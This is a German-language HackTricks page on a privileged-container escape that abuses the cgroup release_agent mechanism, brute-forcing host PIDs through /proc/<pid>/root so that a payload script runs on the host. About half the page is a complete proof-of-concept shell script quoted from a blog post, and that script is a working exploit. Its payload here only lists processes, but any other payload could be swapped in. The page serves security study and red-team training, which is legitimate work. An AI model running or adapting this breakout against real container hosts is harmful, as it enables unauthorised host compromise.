release_agent exploit - Relative Paths to PIDs

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Für weitere Details überprüfen Sie den Blog-Beitrag von https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Hier ist nur eine Zusammenfassung:

Die Technik beschreibt eine Methode zum Ausführen von Host-Code innerhalb eines Containers, die Herausforderungen durch Storage-Driver-Konfigurationen überwindet, die den Dateisystempfad des Containers auf dem Host verschleiern, wie z.B. Kata Containers oder spezifische devicemapper-Einstellungen.

Wichtige Schritte:

  1. Auffinden von Prozess-IDs (PIDs): Mit dem symbolischen Link /proc/<pid>/root im Linux-Pseudodateisystem kann auf jede Datei innerhalb des Containers relativ zum Dateisystem des Hosts zugegriffen werden. Dadurch entfällt die Notwendigkeit, den Dateisystempfad des Containers auf dem Host zu kennen.

  2. PID-Bashing: Es wird eine Brute-Force-Methode verwendet, um PIDs auf dem Host zu durchsuchen. Dies geschieht durch sequenzielle Überprüfung auf das Vorhandensein einer bestimmten Datei unter /proc/<pid>/root/<file>. Wenn die Datei gefunden wird, bedeutet dies, dass die entsprechende PID zu einem im Zielcontainer ausgeführten Prozess gehört.

  3. Auslösen der Ausführung: Der geratene PID-Pfad wird in die Datei cgroups release_agent geschrieben. Diese Aktion löst die Ausführung des release_agent aus. Der Erfolg dieses Schritts wird durch Überprüfung auf die Erstellung einer Ausgabedatei bestätigt.

Ausbeutungsprozess

Der Ausbeutungsprozess umfasst eine detailliertere Reihe von Aktionen, die darauf abzielen, eine Nutzlast auf dem Host auszuführen, indem die richtige PID eines im Container ausgeführten Prozesses geraten wird. So läuft es ab:

  1. Umgebung initialisieren: Ein Nutzlast-Skript (payload.sh) wird auf dem Host vorbereitet und ein eindeutiges Verzeichnis für die cgroup-Manipulation erstellt.

  2. Nutzlast vorbereiten: Das Nutzlast-Skript, das die auf dem Host auszuführenden Befehle enthält, wird geschrieben und ausführbar gemacht.

  3. Cgroup einrichten: Die cgroup wird eingebunden und konfiguriert. Die notify_on_release-Flagge wird gesetzt, um sicherzustellen, dass die Nutzlast ausgeführt wird, wenn die cgroup freigegeben wird.

  4. Brute-Force-PID: Eine Schleife durchläuft potenzielle PIDs und schreibt jeden geratenen PID in die Datei release_agent. Dadurch wird das Nutzlast-Skript effektiv als release_agent festgelegt.

  5. Auslösen und Überprüfen der Ausführung: Für jeden PID wird cgroup.procs der cgroup beschrieben, wodurch die Ausführung des release_agent ausgelöst wird, wenn der PID korrekt ist. Die Schleife wird fortgesetzt, bis die Ausgabe des Nutzlast-Skripts gefunden wird, was auf eine erfolgreiche Ausführung hinweist.

PoC aus dem Blog-Beitrag:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated